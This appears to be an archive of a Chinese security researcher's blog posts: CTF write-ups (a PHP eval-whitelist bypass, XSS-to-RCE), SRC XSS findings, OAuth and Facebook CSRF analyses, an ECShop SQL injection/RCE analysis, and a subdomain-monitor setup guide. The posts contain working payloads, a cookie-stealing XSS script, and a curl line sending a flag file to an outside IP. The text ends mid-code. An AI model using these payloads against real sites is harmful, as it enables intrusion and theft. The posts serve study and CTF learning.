2019国赛Web线上题目Lovemath多解WP

2019国赛Web线上题目Lovemath多解WP

题目质量很不错,这题整整做了七个小时,从一开始想着拿一血到后来的自闭。

题目代码

<?php 
error_reporting(0); 
//听说你很喜欢数学,不知道你是否爱它胜过爱flag 
if(!isset($_GET['c'])){ 
    show_source(__FILE__); 
}else{ 
    //例子 c=20-1 
    $content = $_GET['c']; 
    if (strlen($content) >= 80) { 
        die("太长了不会算"); 
    } 
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]']; 
    foreach ($blacklist as $blackitem) { 
        if (preg_match('/' . $blackitem . '/m', $content)) { 
            die("请不要输入奇奇怪怪的字符"); 
        } 
    } 
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp 
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs); 
    foreach ($used_funcs[0] as $func) { 
        if (!in_array($func, $whitelist)) { 
            die("请不要输入奇奇怪怪的函数"); 
        } 
    } 
    //帮你算出答案 
    eval('echo '.$content.';'); 

}

解题思路

代码有一个黑名单blacklist&白名单whitelist。黑名单肯定是绕不过去,虽然正则给了/m模式的情况下可以采用换行绕过,但是\r也在封杀范围所以直接pass。注意看whitelist后面的逻辑:正则匹配所有字母,用foreach逐个比对匹配的字母。
image_1d94aluchp6k1a607ht1ml2132q9.png-224.4kB

也就是说只允许Eval使用白名单的函数做字符串

所以思路就很明确,既然参数从白名单出来后被执行,那漏洞点肯定就在白名单的函数。由于正则匹配字母的规则,使我们传入的实参不能是字母,否则就会进入判断如下
image_1d9419hr91e511p621k4l177k1a5726.png-31.6kB

想办法把数字变成字母,再通过eval进行RCE。着眼于函数base_convert,官方描述如下
image_1d94aoodi184tdml1udl7q91b0gm.png-126.9kB

它允许我们将10进制数转换为最高36进制,结果为字符串。完美解决了数字到字母的转化,成功打印phpinfo如下
image_1d94ard4e1orte5mo6a1oj6hjj1j.png-396.7kB

POC-1

因为字符串长度限制,我最开始的想法是这样的:

$input = hexdec(bin2hex("system('cat /flag');"))
$result = base_convert(10进制编码字符串hex2bin,10,36)(dechex($input))

完整转换是这样:

base_convert(37907361743,10,36)(dechex(9148825951463535960001056079872))

但是由于bin2hex后转换出来的16进制数值过大,导致hexdec转换的int值很大无法正常被dechex还原而溢出。在赛后看到一种payload,很聪明的避免了大数溢出的情况,如下

base_convert(47138,20,36)(base_convert(3761671484,13,36)(dechex(474260465194)))

image_1d941nbdm171k17a3lhg16ii1knh3q.png-24.3kB

正好79个字母堪称完美…解码后的调用栈如下
47138->exec

POC-2

这个是看到ROIS队伍师傅的poc

$pi=base_convert;$pi(371235972282,10,28)(($pi(8768397090111664438,10,30))(){9})

解码出来是system(getallheaders(){9})

也是很聪明的解法。变量赋值pi减少长度,用getallheaders动态传入参数,之前在code puzzle中见过这样的用法

POC-3

这种就是比赛时我的解法。一种小数还原的思路。我们只需要构造_GET为16进制数,这个16进制转换出来的十进制就不会很大,自然在dechex也不会溢出。Payload如下,注意用白名单的值作为变量参数,否则还是会被waf

$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){0}(($$p){1})

转换的调用栈如下:
image_1d94271vhpqtbtv1mk1v7upa047.png-32.8kB

直接发包给到C参数,成功getflag。
image_1d9427hgv862p0f8bluecra94k.png-83.5kB

西湖论剑2019-Writeup

西湖论剑2019-Writeup

Author:Hpdoger@D0g3

这次比赛的Web题顺序放的很有意思。先放web3、再web2、接着web1来了个bug题被秒。ak了三个web之后本来都出去买奶茶喝了,结果比赛末尾有师傅说上了个web4…好在最后零解23333

Web-3

扫描到DS_Store文件泄露:http://ctf3.linkedbyx.com/11182/DS_Store
image_1d7rcmc741ep8qtr17um15g5v49.png-31.9kB

扫描了一下e1xxx这个自路径发现一处git泄露:
image_1d7rcont5k191lp1131q17k81eri4m.png-38.3kB

访问到github仓库:https://github.com/cumtxujiabin/zip
image_1d7rcp5i018i0sesg9a1oec9g353.png-78.6kB

源码git clone下来看,发现Backup这个zip包需要密码,但是同文件夹下有Index.php和jpg被解压出来了。猜测是已知明文攻击
image_1d7rcsqca1qcl1538t7j1mpti6f60.png-37.5kB

用AR跑了一下得到hint文件
image_1d7s0v7dd1djv10opn7j11jq113cei.png-72.4kB

点开hint有两个提示,

  1. 很明显这个code就是之前首页的参数值
    image_1d7riioviv8dnt21j3g1m6s1l9j6q.png-14.9kB
  2. seed应该暗示着随机数/种子

拿着Code请求得到一个数,结合hint猜测是要用兑换码爆破随机数种子
image_1d7rilc951g6t1idm1qtg1osbjnv77.png-61.2kB

最后跑出来种子+.txt后缀请求得到flag
image_1d7rkjigs14vl1gg9h801mr18onag.png-40kB
image_1d7rkfg2e1enjh0g1kif2lb14ala3.png-23.2kB

略脑洞。。

Web-2

题目环境关了有些无法截图

随便输入账号都能登陆,有留言功能、提交给管理员url的功能和EXEC页面,EXEC我推测是个命令执行但是需要管理员权限,所以应该是XSS->admin->rce。留言位置可以插入标签iframe\img\svg.. 但是过滤掉了等号,会被转译成:),我测试的时候用iframe以base64编码属性就能绕过

<iframe/src="data:text/html;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==

编码内容即<img src=x onerror=alert(1)>,可以弹出对话框,

看到了提交Url处有这么一句话,大致好像是这么说的:管理员会拿着你的token来请求页面,之前还在想管理员怎么请求到我的main(因为我测试可以缓存js文件,可能也是一个方面),但是看到这里就完全不用担心了,直接X一个储值型的标签打COOKIE

但是测试用js uri加载外源js不能成功,打不到cookie。

那么我们可不可以直接src下调用Javascript伪协议执行一段js发送COOKIE到平台呢?用ascii编码html字符去bypass

编码转换+exp如下
image_1d7rllved1r0b1ku31lp717bi3hdat.png-71.2kB

url编码处理一下&、#字符
image_1d7rloelagnr1aib1g56184q16cpba.png-153kB

在平台打到cookie,发现存在admin字段
image_1d7rlvepfab61co61oj45l6nctc4.png-36.5kB

带着admin字段去exec.php执行命令就行了
image_1d7rm2jhs1ijc1t2898epplgch.png-70.5kB

curl+'http://50.16.48.95/'+--data+"`cat+/flag.txt`"

image_1d7rm3mr9ffe1d2gqr93lp1obcu.png-57kB

编码转换的exp如下

# Author:Hpdoger@d0g3

html_old = "javascript:var website='http://xssye/index.php';(function(){(new Image()).src=website+'/?keepsession=1&location='+escape((function(){try{return document.location.href}catch(e){return''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return''}})())+'&opener='+escape((function(){try{return(window.opener&&window.opener.location.href)?window.opener.location.href:''}catch(e){return''}})());})();"

buffer = ""

for zimu in html_old:
    zimu = ord(zimu)
    zimu = "&#"+("%07d") % (zimu)
    # print("&#"+zimu)
    buffer = buffer + zimu
print(buffer)

web-1

这题上来就有个提示$_GET[‘file’],打了下etc/passwd有内容

看到有个提示,base64解码之后是,dir.php
image_1d7rmb67sieflmcrj41nmodcsdb.png-66.1kB

请求dir.php,同时fuzz参数,有个dir(其实略脑洞,我只尝试了file、dir、path就出来了。。
image_1d7rmfl1j1rab1ind11sb1ffr1bshdo.png-212.3kB

看到根目录存在ffxxx的文件,直接用file去读
image_1d7rmhg0ls1l3ptm8k29n614e5.png-27.7kB

MISC3 TTL隐写

给了个本文,里面是很多TTL值。hint说隐藏了信息。
image_1d7ttpfr51j1m1jks1rd3bafkqjp.png-31.8kB

在网上找了一下,发现在MISC中有一项技术叫TTL隐写。

大致的隐写流程如下:
将TTL的值转为8位二进制,高位补0,取头两位的二进制。这样4个TTL的值就能取够一个8位的二进制数,再将这个8位的二进制转换为字符(因为一个字符=一个字节=8位二进制)。

这就是成功将字符隐写在TTL值中,所以只需要逆出来取8位还原成字符就行,写了个提取脚本

#! /usr/bin/python3
# Author: Hpdoger@d0g3

count = 0
change_list = []
word_list = ''
zimus = ''

with open("ttls.txt","r") as file:
    for ttl in file.readlines():
        change_list.append(ttl.replace('TTL=',''))
        if len(change_list) == 4:
            for num in change_list:
                num = int(num)
                a = bin(num).replace('0b','')
                b = str("%08d" % int(a))
                infront = b[0:2]
                word_list = word_list + infront


            zimu = int(word_list,2)
            zimus = zimus+chr(zimu)
            word_list = ''
            change_list.clear()
            count = 0

with open('results.txt','w') as file2:
    file2.write(zimus)

转换出来的结果如下
image_1d7tu4dn0ncj1f5s1o7j15641ggr19.png-147.1kB

一看就是16进制,开头ffd8ff是图片头,拖到winhex里还原成图片就行了,最后还原出来4个二维码。

拼接扫描得到:

key:AutomaticKey cipher:fftu{2028mb39927wn1f96o6e12z03j58002p}

维吉尼亚密码解密,得到
flag{2028ab39927df1d96e6a12b03j58002v}
再进行一次字母转换
e->j,e->v
flag{2028ab39927df1d96e6a12b03e58002e}

SRC挖掘初探之随缘XSS挖掘

原文首发于先知社区:https://xz.aliyun.com/t/4625

Author:Hpdoger@D0g3

最近试着去学挖洞,在测某SRC的一些业务时发现以下几个XSS的点。对于一些请求参数在返回的html中以隐蔽的标签形式出现的XSS,感觉还是挺常见的。这里我写了个Bp的插件用来监听请求并捕获这种情况:SuperTags

下面的案例和讨论如果有什么片面或错误的地方,还望师傅们斧正

登陆跳转处XSS

某处登陆页面看了眼表单,同时跟进事件绑定的对象utils
image_1d6vk2rs4g541hq8olo1sf275i1g.png-83kB

直接截出登陆验证部分,redata是响应参数,登陆成功为0。host定义为normal.com。这里发现其实在登陆的时候是可以存在一个cb参数的(但之前我登陆的时候并没有察觉,因为是后台有个功能loginout,点击才会附带cb参数到登录页)

其中,getparam方法如下

getParam: function(c_name) {
    var urlParams = location.href;
    var c_start = urlParams.indexOf(c_name + "=");銆€
    if (c_start != -1) {
        c_start = c_start + c_name.length + 1;銆€
        c_end = urlParams.indexOf("&", c_start);
        if (c_end == -1) {
            c_end = urlParams.length;
        }
        return urlParams.substring(c_start, c_end);
    }else{
        return null;
    }
},

这里开发者还是对cb参数进行了意识形态的过滤,如果cb不包含host则强制重定向首页。但是略鸡肋,直接把host放在注释符后就能绕过。
image_1d6vkg95e1vjv155m1s1n1c7oook3d.png-54.2kB

POC:

cb=javascript:alert(document.cookie);//normal.com

image_1d6vko6a51n64961h1pcd370647.png-127.7kB

Image处的XSS

这是该厂商的一个移动端业务,在我测之前已经有表哥X进去了,看一下这个洞是如何产生的。

功能点:提交问题反馈,可以上传问题图片
image_1d6vivcc51p0mpm5hb61kgqti29.png-76.5kB

漏洞逻辑:
上传图片->提交反馈->服务端拼接提交的img参数(uri)为img标签src属性的完整地址

测试上传一个图片后,点击提交反馈并抓包,imglist参数是刚才上传图片返回的uri地址。
image_1d6vj4nch1a5p118b18ci1gu31olam.png-235.9kB

POST xxxx?q=index/feedback HTTP/1.1

imglist=%2Cpicture%2F2019%2F02%2F22%2F_a948b4eeaca7420cad9d54fdb0331230.jpg&

问题就出在拼接标签这部分,修改imglist参数就可以闭合Src属性进行xss,使最终的img标签执行onerror事件

步骤:抓包修改img路径->拼接恶意js事件,POC:

imglist=urlencode(" onerror="alert(`XSS�`)">

成功弹窗
image_1d6vjv0dfkis172e1mkpd9b78c13.png-78kB

邮件提交处的XSS

在测试某业务的邮箱密码验证时,发现一个包含请求邮箱的页面。

image_1d6vf99vp1smijbq1q9pa1s1sfh2d.png-297.8kB

记得之前看过一篇文章,有些服务在发送完邮件后会弹出一个“邮件已发送+email”的页面导致反射型XSS,感觉就是这种了。

随手测试了一下,发现直接waf了空格、双引号、尖括号,和”"。实体了html编码的尖括号,但是没有实体html编码的双引号。
image_1d6vf627h11u1ru6slc13uu1qqt1j.png-337.5kB

同时在FUZZ的期间多次出现参数错误的请求,发现可能是应用层做了些过滤:

  1. email字符串长度<40且@结尾
  2. 不能同时出现两个双引号、括号
  3. 正则alert(1)\prompt(1)\confim…

不过只要脱离引号就好说,毕竟有很多JS事件可以调。一开始把眼光放在了input标签上测试了一些on事件,发现type是hidden,一些可视on事件都没用的。记得之前看过一个input hidden xss的一个用法是按alt+shift+x触发,poc如下

urlencode(email=&#34/accesskey=&#34X&#34/onclick=&#34alert&#40'xss'&#41&#34@qq.com)

image_1d6vfebe9k0q1704vhff8u16cq2q.png-39kB

但是这个poc很鸡肋。因为要打出cookie的话长度受限,且利用条件苛刻(firefox+按键)

回头看了下发现有form标签也有输出点,最初以为form能执行的JS事件就只有reset和submit,后来测试跑onmounseover也能弹框。

encodeurl(email=&#34/onmouseover=&#34alert&#40document.cookie&#41&#34@qq.com)

image_1d71n2s5m1mnpvbslfj1iatkg99e.png-70.9kB

一个受阻的XSS

在测试某业务时发现一个有趣的参数拼接点:

iframe的src拼接url参数+后端给定的第三方host->iframe加载src

测试了一下特殊字符都给实体化了,但是又舍不得一个iframe
image_1d6vl16bn14i9ihun3ovnvnd4k.png-187.5kB

经过一番寻找,发现第三方服务的登陆点存在JS跳转漏洞,用iframe加载这个第三方服务的dom-xss也能造成弹框效果
image_1d6vleeqr1r4613u81e81cja1m3h5h.png-106.4kB

虽然是在SRC业务站点弹的框,但真正的域应该是子页面的。打印一下COOKIE验证,果然是子页面域的cookie。由于waf掉了document.cookie和javascript:alert,我用了html编码的’:’和八进制js编码的’.’绕过,完整打印子页面域payload如下

https://src.com?url=redirect_uri%3Djavascript%26%23x3A%3Bconsole.log(document\56cookie)

在进一步的探索中,我做了两个尝试:

  1. 尝试跳一个外域的JS,看能不能把src属性转到这个js
    https://src.com?url=redirect_uri%3Dhttps://evil.com/xss.js
    但是会把资源解析到子页面的document里,而不是src的改变
    image_1d6vm2dvb1ls2185k1hof58miho5u.png-128.4kB
  1. iframe是否能调用父页面的事件呢(document)?如果可以的话我们就直接调js uri把cookie打出去。之所以有这个想法是因为,当时寻思既然站点调用这个三方服务了,很大可能性这个三方站是iframe-src白名单。不过测试后发现依然被跨域限制,测试payload
    https://src.com?url=redirect_uri%3Djavascript%26%23x3A%3Bconsole.log(window.parent.document\56cookie)
    image_1d6fi5odbg1pnb7nfdgs7ji6p.png-13.7kB

对跨域姿势了解的不多,如果有兴趣的师傅,可以一起来交流一下这种问题

自闭总结

从打ctf到学着去挖洞,还是有一些思维出入的地方,慢慢理解之前师傅们说的资产收集的重要性。

也特别感谢引路人鬼麦子师傅给予的帮助,这里顺便推荐麦子师傅基于爬虫的一款开源子域名监控工具get_domain,在搭建过程中如果遇到环境配置问题,可以参考这篇Ubuntu16.04-Get_domain搭建手册

Ubuntu16.04-子域名监控工具Getdomain环境搭建

Ubuntu16.04-子域名监控Get_domain环境搭建

操作环境:Ubuntu16.04
数据库:Mongdb
项目地址:https://github.com/guimaizi/get_domain

各种依赖安装

sudo apt-get install git python3 python3-pip xvfb unzip libxss1 libappindicator1 libindicator7 -y

sudo pip3 install selenium pymongo

安装mongodb服务端

  1. 添加mongodb签名到APT
    sudo apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv EA312927
  2. 创建/etc/apt/sources.list.d/mongodb-org-3.2.list文件并写入命令
    echo "deb http://repo.mongodb.org/apt/ubuntu xenial/mongodb-org/3.2 multiverse" | sudo tee /etc/apt/sources.list.d/mongodb-org-3.2.list
  3. 更新软件源列表
    sudo apt-get update
  4. 安装mongodb(默认是安装稳定版)
    sudo apt-get install -y mongodb-org

配置mongodb服务端

  1. 修改配置文件/etc/mongodb.conf

    修改后的内容如下:
    bind_ip = 0.0.0.0
    port = 27017
    auth=true (添加帐号,密码认证)

    修改后重启mongodb:sudo service mongodb restart

  2. 添加超级用户

    use admin
    db.createUser({user:'admin',pwd:'123456aaa1xsda1A',roles:[{role:'userAdminAnyDatabase',db:'admin'}]})
    db.auth('admin','123456aaa1xsda1A')
  3. 添加扫描器用户

    use target_domain
    db.createUser({user:'target',pwd:'123456aaaxsda1A',roles:[{role:'readWrite',db:'target_domain'}]})
    db.auth('target','123456aaaxsda1A')

安装chromedriver

先安装Chrome浏览器

sudo apt-get install libxss1 libappindicator1 libindicator7
wget https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb
sudo dpkg -i google-chrome*.deb
sudo apt-get install -f

再安装chromedriver

wget -N http://chromedriver.storage.googleapis.com/72.0.3626.7/chromedriver_linux64.zip
unzip chromedriver_linux64.zip
chmod +x chromedriver
sudo mv -f chromedriver /usr/local/share/chromedriver
sudo ln -s /usr/local/share/chromedriver /usr/local/bin/chromedriver
sudo ln -s /usr/local/share/chromedriver /usr/bin/chromedriver

安装go-lang

$ sudo apt-get update
$ sudo apt-get -y upgrade
$ wget https://storage.googleapis.com/golang/go1.7.linux-amd64.tar.gz
$ sudo tar -xvf go1.7.linux-amd64.tar.gz
$ sudo mv go /usr/local

设置gopath

vim /etc/profile
export GOROOT=/usr/local/go  #设置为go安装的路径,有些安装包会自动设置默认的goroot
export GOPATH=$HOME/gocode   #默认安装包的路径
export PATH=$PATH:$GOROOT/bin:$GOPATH/bin
source /etc/profile

go env看一下是否设置成功

设置Python默认为Python3

文章:https://blog.csdn.net/u011534057/article/details/51615193

使用文章的第二种方法:在系统级修改 Python 版本

下载subfinder

go get github.com/subfinder/subfinder

报错没关系,只要文件里有bin src就行

后续步骤

http://www.guimaizi.com/archives/360的启动说明

crontab定时执行任务:https://www.jianshu.com/p/838db0269fd0

crontab文件如下,每天12点执行:

# everday 12:00 am exec
0 0 17 * * ? python /home/get_domain/while_update.py

注意最后要留个空行

Mongodb操作

更新,否则无法进行对比,更新状态到0

db.getCollection('xxx').update({'state':1},{$set:{'state': NumberInt(0)}},{multi:true})

一直运行random_start

nohup python -u random_start.py > nohup.log 2>&1 &

记得修改random_start的代码为while 1
可以修改五次config,运行五个后台程序

各种报错解决

报错代码127

selenium.common.exceptions.WebDriverException: Message: Service chromedriver unexpectedly exited. Status code was: 127

原因是browser版本过低,跟driver不匹配,升级browser

apt-get install chromium-browser

权限报错

selenium.common.exceptions.WebDriverException: Message: unknown error: Chrome failed to start: exited abnormall

chromedriver在py程序里没权限,修改代码Browser.py

chrome_options.add_argument('--headless')
chrome_options.add_argument('--no-sandbox') 

相关链接

安装mongodb:https://www.jianshu.com/p/5598f1dcbb98

0CTF2019-Web1WriteUp

0CTF Web1

第一次打0ctf,长见识了,各路神仙满天飞..

题目地址:http://111.186.63.207:31337

需要一个karaf认证,直接双写karaf
image_1d6nu1vae155hklkc5e15c41ak99.png-15.3kB

当时组内师傅说有jolokia
image_1d6nu81co9hr1ac74nk2rs1n3um.png-49.8kB

去搜了一下jolokia的洞,看到了Lucifaer师傅的两篇分析文章
https://lucifaer.com/2019/03/11/Attack%20Spring%20Boot%20Actuator%20via%20jolokia%20Part%201/#0x05-poc%E6%9E%84%E9%80%A0

https://lucifaer.com/2019/03/13/Attack%20Spring%20Boot%20Actuator%20via%20jolokia%20Part%202/#0x04-%E6%9E%84%E9%80%A0poc

大致意思就是,执行器可以调用jolokia的list里类的函数来执行一些操作。可是搜了一下List没有logback可以用,但是题目里很明显提示有karaf,那么是否可以通过控制器的poc安装一个karaf控制台呢?所有karaf的时候有下面这个op

image_1d6qgq8tn1qaa1hhlbr2nl413s11m.png-7.2kB

image_1d6qgok3kjq716kir4b1k1v6as9.png-12kB

最终POC,利用luciafaer师傅的post数据包改造,mbean+op+args

注意content-type:applicatio/json,bp直接发包太坑了

image_1d6num88ikml1pqe1jid1sln1kuh13.png-111.6kB

对“绕过Facebook Token进行CSRF账号接管”的文章解读

浅谈绕过Facebook Token进行CSRF账号接管

今天早上看到Sam大佬推特发了这篇文章,下午就见到先知上有译文了。为什么有译文了还要写这篇文章呢?安全圈的译文你懂的,大部分右键一把梭。

从文章本身来说,还是有比较值得学习的地方,所以摘出来流程分析一下。

原文:https://ysamm.com/?p=185

先知译文: https://xz.aliyun.com/t/4089#toc-5

漏洞关键条件

攻击者有一个oauth认证接口,即漏洞网站可以授权自己的网站

漏洞流程

第二步,即location的Url如下

https://www.facebook.com/comet/dialog_DONOTUSE/?
url=/add_contactpoint/dialog/submit/%3fcontactpoint={EMAIL_CHOSEN}%26next=
/v3.2/dialog/oauth%253fresponse_type%253dtoken%2526client_id%253d{ATTACKER_APP}%2526redirect_uri%253d{DOUBLE_URL_ENCODED_LINK]

next参数为下一步跳转参数,即邮箱绑定后跳转到/v3.2/dialog/oauth%253fresponse_type%253dtoken%2526client_id%253d{ATTACKER_APP}%2526redirect_uri%253d{DOUBLE_URL_ENCODED_LINK]获取token再redirect到attacker web

总结/修复思考

漏洞新颖的点就在授权后的跳转,这也算是一种突破oauth的新思路。利用信任站点的重定向进行其它oauth的绑定,再携带token二次重定向到attacker web。

如果能再二次重定向的地方加一个权限验证,即attacker app与oauth匹配,会不会避免这样的越权呢?

其次就是,如果我们省略三方授权,直接诱导用户点击第二步的location,不就更省事了么?这点我邮寄了sam师傅,希望日后有其它研究的师傅可以指点一下~

Oauth2的两类漏洞挖掘

Oauth2的两类漏洞挖掘

一直忘了总结这个,结合OPPX的网站(无漏洞站点)说明一下

redict_uri限制不严格(Oauth配置错误)

逻辑

一般登陆选项是这样,常见的是QQ/微信/微博/…授权登陆

点击QQ授权的时候请求包和返回包如下

request:

POST /oauth2.0/authorize HTTP/1.1
Host: graph.qq.com
response_type=code&client_id=100498628&redirect_uri=https%3A%2F%2Fmy.oppo.com%2Fauth%2Fqqcallback&scope=get_user_info%2Cadd_share%2Clist_album%2Cadd_album%2Cupload_pic%2Cadd_topic%2Cadd_one_blog%2Cadd_weibo%2Ccheck_page_fans%2Cadd_t%2Cadd_pic_t%2Cdel_t%2Cget_repost_list%2Cget_info%2Cget_other_info%2Cget_fanslist%2Cget_idolist%2Cadd_idol%2Cdel_idol%2Cget_tenpay_addr&state=49085978f5e969063165246c6d07e062&switch=&from_ptlogin=1&src=1&update_auth=1&openapi=80901010&g_tk=1156350624&auth_time=1550070856795&ui=97557FF6-0331-4598-BC09-6CD21B7106E0

response:

HTTP/1.1 302 Moved Temporarily
Server: nginx
Date: Wed, 13 Feb 2019 15:17:13 GMT
Content-Type: text/html
Content-Length: 0
Connection: close
Location: https://my.oppo.com/auth/qqcallback?code=5E0AA09C0CA8179C186688ABAF4BE043&state=49085978f5e969063165246c6d07e062

流程:请求graph.qq.com获得授权,拿到auth code后拼接到redirect_uri再请求,这点可以在返回包中的Location看到。

漏洞思路就是redict_uri限制不到位,严重的情况是没有限制域,一般情况是redict_uri可以到子域。QQ做了限制,拿cline_id和redirec_uri比对,不相符就返回False,如下

案例-第三方帐号快捷登录授权劫持漏洞

修改redirect_uri到子域(一般是论坛站点,可以加载外域图片的地方,或者是可以XSS的地方)。location跳转到子域后访问我们外域地址,referer就携带了code。

相关链接

KEY:https://gh0st.cn/archives/2018-02-12/1

无state导致CSRF产生的账户接管

用户在第三方网站A上登录后,通过Authorization code方式的绑定流程。

案例

拿绑定QQ为例子。

一般在登陆后的个人中心页面有绑定社交用户的功能,依然是请求greph.qq.com获取code,拼接到redirect_uri访问后完成绑定。如果没有state参数,用户在A登陆后进行,点击攻击者的redict_uri+code链接,就把用户A绑定在了攻击者的QQ上。可以看作是CSRF

相关链接

OAuth2.0忽略state参数引发的CSRF漏洞:https://blog.csdn.net/gjb724332682/article/details/54428808

Oauth配置错误导致的账户接管:https://mp.weixin.qq.com/s/6lc6CHVjdXU1Zy4wWRIHzg

Echsop2.7.x几处漏洞分析

Echsop2.7.x几处漏洞分析

前言

这些洞是在半年前公布的细节,当时没来得及关注。最近在给自己定目标,决定重新刷一遍这些洞。

SQL注入

由于未对Reffer内容进行过滤而造成的SQL注入

漏洞位置user.php:302

elseif ($action == 'login')
{
    if (empty($back_act))
    {
        if (empty($back_act) && isset($GLOBALS['_SERVER']['HTTP_REFERER']))
        {
            $back_act = strpos($GLOBALS['_SERVER']['HTTP_REFERER'], 'user.php') ? './index.php' : $GLOBALS['_SERVER']['HTTP_REFERER'];
        }
        else
        {
            $back_act = 'user.php';
        }

    }

    $smarty->assign('back_act', $back_act);
    $smarty->display('user_passport.dwt');
}

$back_act可控为Reffer值,跟进assign

/**
 * 注册变量
 *
 * @access  public
 * @param   mix      $tpl_var
 * @param   mix      $value
 *
 * @return  void
 */
function assign($tpl_var, $value = '')
{
    if (is_array($tpl_var))
    {
        foreach ($tpl_var AS $key => $val)
        {
            if ($key != '')
            {
                $this->_var[$key] = $val;
            }
        }
    }
    else
    {
        if ($tpl_var != '')
        {
            $this->_var[$tpl_var] = $value;
        }
    }
}

assign()注册了模板变量$this->_var[‘back_act’],这里注册的变量在后面的页面模板编译中会用到

继续跟进user的display函数

/**
 * 显示页面函数
 *
 * @access  public
 * @param   string      $filename
 * @param   sting      $cache_id
 *
 * @return  void
 */
function display($filename, $cache_id = '')
{
    error_reporting(E_ALL ^ E_NOTICE);

    $out = $this->fetch($filename, $cache_id);

    if (strpos($out, $this->_echash) !== false)
    {
        $k = explode($this->_echash, $out);
        foreach ($k AS $key => $val)
        {
            if (($key % 2) == 1)
            {
                $k[$key] = $this->insert_mod($val);
            }
        }
        $out = implode('', $k);
    }

    echo $out;
}

Display中调用fetch函数处理模板文件:user_passport.dwt,跟进关键代码

/**
 * 处理模板文件
 *
 * @access  public
 * @param   string      $filename
 * @param   sting      $cache_id
 *
 * @return  sring
 */
function fetch($filename, $cache_id = '')
{
    ...
    $out = $this->make_compiled($filename);
    ...
    return $out; // 返回html数据
}

$filename就是user_passport.dwt,关键内容如下

<tr>
<td colspan="2" align="center"><input type="hidden" name="act" value="act_login" />
  <input type="hidden" name="back_act" value="{$back_act}" />
  <input type="submit" name="submit" value="{$lang.confirm_login}" /></td>
</tr>

通过make_compiled函数编译模板文件,编译时会把之前注册的模板变量渲染到{$back_act}。$out即为渲染后的html代码块

继续跟进流程,回到display。$out内容被分割为两部分,分割依据是$this->_echash,而$this->_echash参数值固定

$k = explode($this->_echash, $out);
foreach ($k AS $key => $val)
{
    if (($key % 2) == 1)
    {
        $k[$key] = $this->insert_mod($val);
    }
}

跟进insert_mod

function insert_mod($name) // 处理动态内容
{
    list($fun, $para) = explode('|', $name);
    $para = unserialize($para);
    $fun = 'insert_' . $fun;

    return $fun($para);
}

继续对$out内容以“|”形式分割成$fun、$para,|后的内容进行反序列化,再动态调用$fun函数。至此,函数名$fun可控,函数内容$para可控,找一个以Insert_开头的可利用的函数

function insert_ads($arr)
{
    static $static_res = NULL;

    $time = gmtime();
    if (!empty($arr['num']) && $arr['num'] != 1)
    {
        $sql  = 'SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, ' .
                    'p.ad_height, p.position_style, RAND() AS rnd ' .
                'FROM ' . $GLOBALS['ecs']->table('ad') . ' AS a '.
                'LEFT JOIN ' . $GLOBALS['ecs']->table('ad_position') . ' AS p ON a.position_id = p.position_id ' .
                "WHERE enabled = 1 AND start_time <= '" . $time . "' AND end_time >= '" . $time . "' ".
                    "AND a.position_id = '" . $arr['id'] . "' " .
                'ORDER BY rnd LIMIT ' . $arr['num'];
        $res = $GLOBALS['db']->GetAll($sql);
    }

触发SQL注入,构造的PAYLOAD形式:

echash+ads|serialize(array("num"=>sqlpayload,"id"=>1))

创宇提供的一个payload示例如下:

Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:72:"0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)-- -";s:2:"id";i:1;}

采用limit注入,利用procedure analyse函数。具体见P师傅文章:https://www.leavesongs.com/PENETRATION/sql-injections-in-mysql-limit-clause.html

RCE分析

RCE利用点还是insert_ads函数,参数的处理流程很大一部分是上文SQL注入的流程,这里分析3.x版本的RCE

继续跟进ads函数,重点部分代码如下:

function insert_ads($arr)
{
    foreach ($res AS $row)
    {
        if ($row['position_id'] != $arr['id'])
        {
            continue;
        }
        $position_style = $row['position_style'];
        ...
    }

    $position_style = 'str:' . $position_style;
    $GLOBALS['smarty']->assign('ads', $ads);
    $val = $GLOBALS['smarty']->fetch($position_style);
}

$res为查询结果,即$row[‘position_id’]可用SQL注入的Union select控制,$arr[‘id’]也可控,当两者相等时$position_style的值就可控为$row[‘position_style’]。接着又调用assgin注册变量、fetch编译模板。再看fetch函数

/**
     * 处理模板文件
     *
     * @access  public
     * @param   string      $filename
     * @param   sting      $cache_id
     *
     * @return  sring
     */
function fetch($filename, $cache_id = '')
{
    if (strncmp($filename,'str:', 4) == 0)
    {
        $out = $this->_eval($this->fetch_str(substr($filename, 4)));
    }
    else
    {
         ......

由于字符串前被拼接了str:,所以进入$this->_eval函数处理,这也是最终的漏洞触发点,可以eval我们构造的恶意语句。

但是再_eval之前经过fetch_str处理字符串,跟进

    /**
     * 处理字符串函数
     *
     * @access  public
     * @param   string     $source
     *
     * @return  sring
     */
    function fetch_str($source)
    {
        if (!defined('ECS_ADMIN'))
        {
            $source = $this->smarty_prefilter_preCompile($source);
        }
        $source=preg_replace("/([^a-zA-Z0-9_]{1,1})+(copy|fputs|fopen|file_put_contents|fwrite|eval|phpinfo)+( |\()/is", "", $source);
        if(preg_match_all('~(<\?(?:\w+|=)?|\?>|language\s*=\s*[\"\']?php[\"\']?)~is', $source, $sp_match))
        {
            $sp_match[1] = array_unique($sp_match[1]);
            for ($curr_sp = 0, $for_max2 = count($sp_match[1]); $curr_sp < $for_max2; $curr_sp++)
            {
